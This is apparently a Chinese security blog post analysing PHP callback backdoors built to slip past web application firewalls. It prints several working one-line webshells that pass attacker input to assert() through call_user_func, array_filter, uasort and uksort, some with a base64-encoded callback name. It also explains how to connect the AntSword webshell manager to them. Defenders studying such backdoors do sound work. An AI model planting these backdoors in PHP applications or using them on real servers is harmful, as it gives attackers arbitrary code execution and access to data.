PHP回调后门分析

什么是PHP回调后门?

PHP回调后门是指攻击者利用PHP的回调函数等技术,绕过WAF(Web应用防火墙),在受攻击的PHP应用程序中插入恶意代码。这种后门可以被用来执行任意PHP代码,例如访问数据库、执行系统命令、窃取敏感信息等,具有极大的危害性。


1. 初始的回调后门

复制代码
call_user_func('assert', $_REQUEST['pass']);

解析:

  • call_user_func():把第一个参数作为回调函数调用。
  • assert():用于执行传入的字符串代码。
  • $_REQUEST['pass']:攻击者控制的输入。

示例:执行 phpinfo() 查看PHP环境信息

如果攻击者向 pass 参数传递 phpinfo();,则代码执行后会显示PHP的完整环境信息。

示例:蚁剑连接webshell

失败解析:

  • assert() 只能执行字符串代码

    • assert($code); 等价于 if (!eval($code)) throw new AssertionError();

    • assert($_POST[123]); 的问题是,如果 $_POST[123] 是个未定义变量或者非字符串,它会返回 NULL,导致 assert(NULL); 直接返回 false,没有实际执行任何代码。

    • assert('eval($_POST[123]);'); 这样传入的是 字符串形式的PHP代码assert() 解析后相当于 eval($_POST[123]);,从而可以执行 $_POST[123] 传入的任意命令。

  • 蚁剑默认发送的Payload

    • bodypass=$_POST[123] 时,assert($_POST[123]); 可能解析为 assert(NULL); 或者 assert(空字符串);,直接返回 false,因此没有返回值。

    • pass='eval($_POST[123]);' 时,assert('eval($_POST[123]);'); 由于是字符串,符合 assert() 语法要求eval($_POST[123]); 成功执行,从而蚁剑的WebShell成功运行。


2. 数组操作造成的单参数回调后门

复制代码
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));

解析:

  • array():创建数组,包含用户传入的 $_POST['pass']
  • array_filter():使用回调函数过滤数组元素。
  • base64_decode($e):解码后作为回调函数。

如果 e 传递的是 YXNzZXJ0(即 assert 的Base64编码),则 array_filter() 会执行 assert($_POST['pass']);,从而执行传入的PHP代码。

连接蚁剑


3. PHP 5.4.8+ 中的 assert 后门

复制代码
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));

解析:

  • uasort():使用回调函数对数组的值进行排序。
  • base64_decode($e):解码后作为排序回调。

如果 e 传递的是 YXNzZXJ0,那么 uasort($arr, 'assert');,相当于执行 assert($_REQUEST['pass']);,从而执行PHP代码。

uksort 变体
复制代码
$e = $_REQUEST['e'];
$arr = array('test' => 1, $_REQUEST['pass'] => 2);
uksort($arr, $e);
  • uksort() 使用用户自定义的回调函数对数组键名进行排序。
  • e 传递 assert,等价于执行 assert($_REQUEST['pass']);

适用版本

  • 在PHP 5.3版本会报错,提示 assert 只能有一个参数。
  • 在PHP 5.4+ 版本下可以成功执行。
相关推荐
jieyu111921 分钟前
Python 实战:内网渗透中的信息收集自动化脚本(2)
python·网络安全·脚本开发
云声风语1 小时前
CTF-RSA-openssl-pem格式的key
网络安全·密码学
天纵软件12 小时前
全国网络安全知识竞赛有哪些
网络安全·技能知识竞赛·知识竞赛活动公司·知识竞赛活动策划·知识竞赛软件·高端知识竞赛活动
安全漏洞防治中心1 天前
Roadmap:一年实现安全漏洞防治自动化
运维·web安全·网络安全·自动化·漏洞管理·漏洞处置sop·漏洞紧急修复建议
Bruce_Liuxiaowei1 天前
使用批处理脚本安全清理Windows系统垃圾
网络·windows·安全·网络安全
lingggggaaaa1 天前
小迪安全v2023学习笔记(七十讲)—— Python安全&SSTI模板注入&项目工具
笔记·python·学习·安全·web安全·网络安全·ssti
Johny_Zhao2 天前
Linux防止rm误操作防护方案
linux·网络·人工智能·网络安全·信息安全·云计算·yum源·系统运维
黑客影儿2 天前
Go特有的安全漏洞及渗透测试利用方法(通俗易懂)
开发语言·后端·安全·web安全·网络安全·golang·系统安全
MicroTech20253 天前
微算法科技(NASDAQ: MLGO)引入高级区块链DSR算法:重塑区块链网络安全新范式
网络安全·区块链
网络安全大学堂3 天前
【黑客技术零基础入门】PHP环境搭建、安装Apache、安装与配置MySQL(非常详细)零基础入门到精通,收藏这一篇就够
安全·web安全·计算机·网络安全·黑客·信息安全·程序员